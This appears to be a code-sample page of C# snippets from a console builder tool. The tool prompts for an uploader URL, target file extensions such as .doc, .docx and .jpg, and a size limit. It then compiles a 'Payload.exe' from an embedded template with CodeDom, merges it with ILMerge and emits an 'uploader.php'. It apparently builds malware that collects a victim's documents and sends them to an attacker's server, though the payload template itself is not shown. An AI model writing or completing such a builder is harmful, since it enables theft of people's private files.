Esempio n. 1
0
        private void Codedom(UploaderSettings uploaderSettings)
        {
            string[] referencedAssemblies = new string[] { $"{Environment.CurrentDirectory} \\Temp\\DotNetZip.dll", "System.dll" };
            Dictionary <string, string> providerOptions = new Dictionary <string, string>()
            {
                { "CompilerVersion", "v2.0" }
            };
            string compilerOptions = "/target:winexe /platform:anycpu /optimize+";

            using (CSharpCodeProvider cSharpCodeProvider = new CSharpCodeProvider(providerOptions))
            {
                CompilerParameters compilerParameters = new CompilerParameters(referencedAssemblies)
                {
                    GenerateExecutable      = true,
                    GenerateInMemory        = false,
                    OutputAssembly          = "Temp//Payload.exe",
                    CompilerOptions         = compilerOptions,
                    TreatWarningsAsErrors   = false,
                    IncludeDebugInformation = false,
                    TempFiles = new TempFileCollection("Temp", false),
                };

                CompilerResults compilerResults = cSharpCodeProvider.CompileAssemblyFromSource(compilerParameters, SourceCode(uploaderSettings));
                if (compilerResults.Errors.Count > 0)
                {
                    foreach (CompilerError compilerError in compilerResults.Errors)
                    {
                        Directory.Delete("Temp", true);
                        throw new Exception(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
                                                          compilerError.Line, compilerError.Column, compilerError.FileName));
                    }
                }
            }
        }
Esempio n. 2
0
        private string SourceCode(UploaderSettings uploaderSettings)
        {
            string sourceCode = Properties.Resources.SourceCode;

            sourceCode = sourceCode.Replace("@Extensions", string.Join("\",\"", uploaderSettings.Extensions).ToLower());
            sourceCode = sourceCode.Replace("@Size", uploaderSettings.SizeLimit.ToString());
            sourceCode = sourceCode.Replace("@Url", uploaderSettings.Url);
            return(sourceCode);
        }
Esempio n. 3
0
 //Preview Settings
 private static void CurrentSettings(UploaderSettings uploaderSettings)
 {
     Console.Clear();
     ConsoleHelper.Banner();
     Console.ForegroundColor = ConsoleColor.Green;
     Console.WriteLine("\n[!]Current Settings:");
     Console.WriteLine($"Url: {uploaderSettings.Url}");
     Console.Write("Extensions:");
     uploaderSettings.Extensions.ForEach(foo => Console.Write($" {foo}"));
     Console.WriteLine($"\nMax size: {uploaderSettings.SizeLimit / 1024}KB");
     Console.ResetColor();
 }
Esempio n. 4
0
        public static void Main()
        {
            ConsoleHelper.Banner();
            ConsoleHelper.Info();

            //ask user to enter uploader settings
            UploaderSettings uploaderSettings = CreateNewUploader();

            //show settings in green font
            CurrentSettings(uploaderSettings);

            //use codedom to compile
            Compile(uploaderSettings);

            Console.Write("\nDone!\nPress any key to exit...");
            Console.ReadKey();
        }
Esempio n. 5
0
        //codedom to compile
        private static void Compile(UploaderSettings uploaderSettings)
        {
            try
            {
                new Compiler(uploaderSettings);

                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine($"\nCreated: payload.exe");
                Console.WriteLine($"Created: uploader.php");
                Console.ResetColor();
            }
            catch (Exception ex)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine(ex.Message);
                Console.ReadKey();
                Environment.Exit(0);
            }
        }
Esempio n. 6
0
        private static UploaderSettings CreateNewUploader()
        {
            UploaderSettings uploaderSettings = new UploaderSettings();

            try
            {
                //URL
                Console.WriteLine("[+]Uploader Path: [default http://127.0.0.1/uploader.php]");
                string url = Console.ReadLine();
                if (!string.IsNullOrWhiteSpace(url))
                {
                    uploaderSettings.Url = url;
                }
                else
                {
                    ConsoleHelper.DeletePrevConsoleLine();
                    Console.WriteLine(uploaderSettings.Url);
                }
                Console.WriteLine();

                //Extensions
                Console.WriteLine("[+]Extensions: [default .jpeg .jpg .txt .doc .docx]");
                string extensions = Console.ReadLine();
                if (!string.IsNullOrWhiteSpace(extensions))
                {
                    uploaderSettings.Extensions.Clear();
                    foreach (string extension in extensions.Split(new[] { " ." }, StringSplitOptions.None))
                    {
                        uploaderSettings.Extensions.Add(extension);
                    }
                }
                else
                {
                    ConsoleHelper.DeletePrevConsoleLine();
                    Console.WriteLine(".jpeg .jpg .txt .doc .docx");
                }
                Console.WriteLine();

                //Size Limit
                Console.WriteLine("[+]Max File Size in KB: [default 500]");
                string size = Console.ReadLine();
                if (!string.IsNullOrWhiteSpace(size))
                {
                    uploaderSettings.SizeLimit = Convert.ToInt32(size);
                }
                else
                {
                    ConsoleHelper.DeletePrevConsoleLine();
                    Console.WriteLine("500");
                }
                Console.WriteLine();
            }
            catch (Exception ex)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine(ex.Message);
                Console.ReadKey();
                Environment.Exit(0);
            }

            return(uploaderSettings);
        }
Esempio n. 7
0
 public Compiler(UploaderSettings uploaderSettings)
 {
     InitializeFiles();
     Codedom(uploaderSettings);
     ILMerge();
 }